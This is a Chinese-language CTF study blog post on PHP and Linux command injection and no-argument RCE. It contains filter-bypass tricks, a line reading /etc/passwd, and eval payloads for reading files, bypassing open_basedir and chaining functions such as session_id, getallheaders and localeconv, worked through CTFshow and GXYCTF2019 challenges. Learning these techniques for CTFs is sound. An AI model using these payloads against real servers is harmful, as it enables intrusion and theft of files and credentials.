命令执行.无参数RCE


linux是操作系统,是服务器操作系统,目前大多数都是采用linux服务系统
主要原因就不多说了

命令执行和代码执行

命令执行实在LINUX终端里面进行执行的,功能强大
代码执行仅仅是存在与代码中,进行代码执行,个人认为执行的也就仅仅是简单的print内容
核心是命令执行,而非代码执行
既然说到命令执行是在LINUX终端进行的,那么我们需要调用LINUX下的命令执行函数,比如常见的:

system
shell_exec
exec

这些常见的命令执行函数
而我们常见的代码执行函数,最多的就是exec,我们很少在php代码里面看见system(),也正是因为system是命令执行函数,而非代码执行,因此不是那么好镶嵌的代码里面
当然存在代码执行函数可以调用我们的命令执行函数,比如说:
call_user_func( a , a, a,b):回调函数,可以使用is_callable查看是否可以进行调用
$a:调用的函数模块
$b:传进去参数
(通常是 system,whoami)
常见的绕过命令执行的方式:
常见的分隔符:

 	•	换行符 		 %0a
	•	回车符		 %0d
	•	连续指令 	 ;
	•	后台进程 	 &
	•	管道符		 |
	•	逻辑 	||	 &&

绕过空格:

	•	$IFS
	•	<
	•	${IFS}
	•	$IFS$9
	•	%09

特殊字符绕过:

	echo "`expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1`"
	echo `$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)`
	expr${IFS}substr${IFS}$SESSION_MANAGER${IFS}6${IFS}1
	•	%0a
	•	%0d
	•	%00
	•	%20

在这里插入图片描述
绕过:
变量绕过:

a=l,b=s;$a$b

base64编码绕过

echo 'cat' | base64

未定义的初始化变量

cat$b /etc/passwd

连通符绕过

cat /etc/pass’w’d

通配符:

???/?s --help

1.PHP短标签的学习:

今天看了一下PHP短标签,解决了挺多疑惑的。
首先了解什么是PHP段标签:
官方回答:

 当解析一个文件时,PHP 会寻找起始和结束标记,也就是 <?php 和 ?>,这告诉 PHP 开始和停止解析二者之间的代码。此种解析方式使得 PHP 可以被嵌入到各种不同的文档中去,而任何起始和结束标记之外的部分都会被 PHP 解析器忽略。

PHP 有一个 echo 标记简写 <?=, 它是更完整的 <?php echo 的简写形式。 

为了更方便PHP代码与其他页面的镶嵌,使用短标签告诉PHP开始解析PHP代码和停止解析PHP代码,这就是段标签的作用
常见的PHP段标签有以下:

PHP的标签有至少四种:<?php ?>、<?= ?>、<script language="php"></script>、<? ?>、<% %>(ASP风格)、<%= %>。

PHP的配置文件php.ini中:

"<? ?>"的支持需要short_open_tag=On,要在XML中使用PHP,需要禁用此标签。

"<%%>"的支持需要asp_tags=On。

"<?= ?>"总是有效的,无论short_open_tag是否设置。

除了<?php ?>和<?=?>其他的标签在PHP7.0.0中被移除,强烈建议使用<?php?>标签,代码才能更好的兼容性。

值得注意的是:<?=相当于是一个<?php echo
认识了短标签,我们通过一道题目再看具体学一下:
在这里插入图片描述playload:?c=include($_GET['shell'])?>&shell=php://filter/read=convert.base64- encode/resource=flag.php
此处就通过文件包含利用伪协议

学一下|| && ;的作用:

command1 && command2: &&左边的command1执行成功(返回0表示成功)后,&&右边的command2才能被执行。
command1 || command2: 如果||左边的command1执行失败(返回1表示失败),就执行&&右边的command2。
command1;command2: 命令顺序执行 

再具体看一下怎么用的:
在这里插入图片描述

dev/null 2>&1:让所有的输出流(包括错误的和正确的)都定向到空设备丢弃
这里我们可以使用上述来绕过:
?c=ls||>dev/null 2>&1 :左边的ls执行成功,就不执行右边的
?c=ls;>dev/null 2>&1:都会执行,这里也存在ls回显,顺序执行呃,有点纳闷
?c=ls&&>dev/null 2>&1:左边执行成功才会执行右边的,这里好像没有回显

当代码后面出现很多不如意的命令处理:

看代码:

<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

上述代码不允许eval的内容出现,所以这里我们使用exit(0)

c=include("/flag.txt");exit();

直接运行玩就退出了

常用的高亮或者打印文章或者包含

c=highlight_file('flag.php');
c=echo file_get_contents("flag.php");
c=readfile("flag.php");
c=var_dump(file('flag.php'));
c=print_r(file('flag.php'));
include
include_once
require
require_once

open_basedir 绕过:

copy rename:

open_basedir :由于open_basedir的设置对system等命令执行函数是无效的,所以我们需要使用命令执行函数来访问限制目录
代码执行的函数上面已经有了,下面学习了一下yu师傅的姿势:

copy与rename:
copy ( string source, string dest )
将文件从 source 拷贝到 dest。如果成功则返回 TRUE,失败则返回 FALSE。
 
如果要移动文件的话,请用 rename() 函数。
rename ( string oldname, string newname [, resource context] )
重命名一个文件或目录
尝试把 oldname 重命名为 newname。
如果成功则返回 TRUE,失败则返回 FALSE。

我们通过代码执行的方法进行上述操作,更改文档类型,将注释下的php改为text就可以看见了
在这里插入图片描述

fopen :

先看一下fopen的利用,其中feof是来判断是否到最后一行的

<?php
//首先采用“fopen”函数打开文件,得到返回值的就是资源类型。
$file_handle = fopen("/data/webroot/resource/php/f.txt","r");
if ($file_handle){
    //接着采用while循环(后面语言结构语句中的循环结构会详细介绍)一行行地读取文件,然后输出每行的文字
    while (!feof($file_handle)) { //判断是否到最后一行
        $line = fgets($file_handle); //读取一行文本
        echo $line; //输出一行文本
        echo "<br />"; //换行
    }
}
fclose($file_handle);//关闭文件
?>

再来看一下fopen里面有哪些可以读取的函数:

给出yu师傅整理的:

通过fopen读文件内容:
函数:
fread()
fgets()
fgetc()
fgetss()
fgetcsv()
gpassthru()
用法:
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetss($a);echo $line;}       //php7.3版本后 该函数已不再被使用
$a=fopen("flag.php","r");echo fpassthru($a);                                      //过59
$a=fopen("flag.php","r");echo fread($a,"1000");                                   //过59
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}        //过59
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}        //过60
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}  //过60

注意 那个{}只是PHP语句循环语句的格式{}

查看目录:

首先要知道的小知识:./是当前目录 2、…/是父级目录 3、/是根目录

flag不在flag.php中,需要先查找flag所在的位置
scandir()
opendir()
用法
c=var_dump(scandir("/"));highlight_file("/flag.txt");                                                           //过66-67
c=$a=opendir("/"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };highlight_file("/flag.txt");  //过66-67

在这里插入图片描述scandir还是很香的
在这里插入图片描述
接着高亮一下 打开发现是一个二进制文件emmm 后面补充

在这里插入图片描述
scandir更为熟悉一些,刚刚看了一下scandir和opendir,感觉scandir更好理解
opendir配套的readdir配套使用效果更好,读取并输出,opendir配上print_r就无法打印出内容

这里有个小坑的地方:scandir相当于已经打开并且读取了,opendir顾名思义就知道,仅仅是打开,所以我们开了之后要进行读取才可以。所以才会有接下来的readdir

下面理解一下下面这个playload:

$a=opendir("glob:///*"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };include("flagx.txt");exit();

出现了glob,查一查:
在这里插入图片描述

$directories = glob("/tmp/*", GLOB_ONLYDIR);//获取/tmp/目录下的所有目录

$complete = glob("/tmp/*");//获取/tmp/目录下的所有目录和文件

$ files = array_diff($directories, $complete);//获取/tmp/目录下的所有文件

同样glob也只是获取,并非输出,所以也要配合readdir使用

无参数RCE

看了其他师傅文章知道的:
代码如下;

<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['a'])) {   
   	eval($_GET['a']);}
   	// 正则表达式的作用:/[^\W]+\((?R)?\)/  无参数函数的校验,其只允许执行如下格式函数
   a('123');就不可以到那时b(a())就可以

利用session_id绕过:

php中有一个函数叫session_id(),可以直接获取到cookie中的phpsessionid值,phpsessionid的组成符号有限定,不能使用 ’ () ',所以我们需要将我们要执行的命令转换成16进制,然后再通过hex2bin函数转换回去
最终执行的命令应该如下:

eval(eval(hex2bin(session_id(session_start))));
phpsession=706870696e666f28293b  //这是phpinfo的16进制

当hex2bin被禁用的时候,我们可以考虑PHPSESSID容许的字符,比如说flag.php这样的都可以,但是我们就要考虑怎么读取了,因为没有办法调用system,因此使用readfile进行读取就好
在这里插入图片描述

getallheaders():

var_dump(end(getallheaders()))
之前我们获取的是所有环境变量的列表,但其实我们并不需要这么多信息。仅仅http header即可
在apache2环境下,我们有函数getallheaders()可返回
我们可以看一下返回值:
在这里插入图片描述
使用这个函数就可以打印出headers的信息,那如果配合上我们的end,直接取最后一个头,就可以实现无参数RCE

这里我采取的是CTFSHOW的题目,因为题目用的可能不是apache2的中间件,所以我自己单独添加header就出现了错误,没有返回结果,如下:
在这里插入图片描述
——————————————————————————————————
那么在适用条件下,有结果的返回应该是怎么样的呢?:
在这里插入图片描述
在这里插入图片描述
以上就是这个方法的调用。

以[GXYCTF2019]禁止套娃多姿势讲解无参数RCE:

1.直接用session_id绕过即可:

在这里插入图片描述
一个图应该就可以看懂

无参数RCE:

localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.
current() 返回数组中的当前单元, 默认取第一个值
scandir(current(localeconv())) ==scandir(’.’) // current的别名是pos(),所以用这可以少打几个字母
//current(localeconv())永远都是个点
在这里插入图片描述
现在我们要读取第三个数组的flag.php,这个位置很尴尬
先来看看可以移动指针的函数:
在这里插入图片描述
看看next()效果
在这里插入图片描述
确实只能读取下一个数组了

这里接下来也要继续使用如下的函数;
我先给出playload,具体方法原理我们等下在讲解:

?exp=highlight_file(array_rand(array_flip(scandir(current(localeconv())))));
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

再来看一下函数的值:
array_reverse():print_r(array_reverse(scandir(current(localeconv()))));
在这里插入图片描述
这里就已经进行了反转排序

array_flip():交换数组的键和值
在这里插入图片描述那么结合上面得两个函数,我们可以交换数组与键值,然后再进行一个倒序排列,再使用next()函数就可以读到flag.php的字段,然后用一个高亮函数:show_source highlight_file等等就可以高亮出文件内容
以上的两个函数就可以构造出一个playload

再看下一个playload:
array_rand():从数组中随机取出一个或多个单元,不断刷新访问就会不断随机返回,本题目中scandir()返回的数组只有5个元素,刷新几次就能刷出来flag.php

但是同样,通过这种rand的去取,我们取到的依然是键[1\2\3\4],所以还是需要交换键与值,拿到flag.php这个键名,然后通过高亮函数包含以下就可以了
构造出上述Playload

无参数无字母RCE:

参考羽师傅写的文章,他写的很全,我这里就不再说明了

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值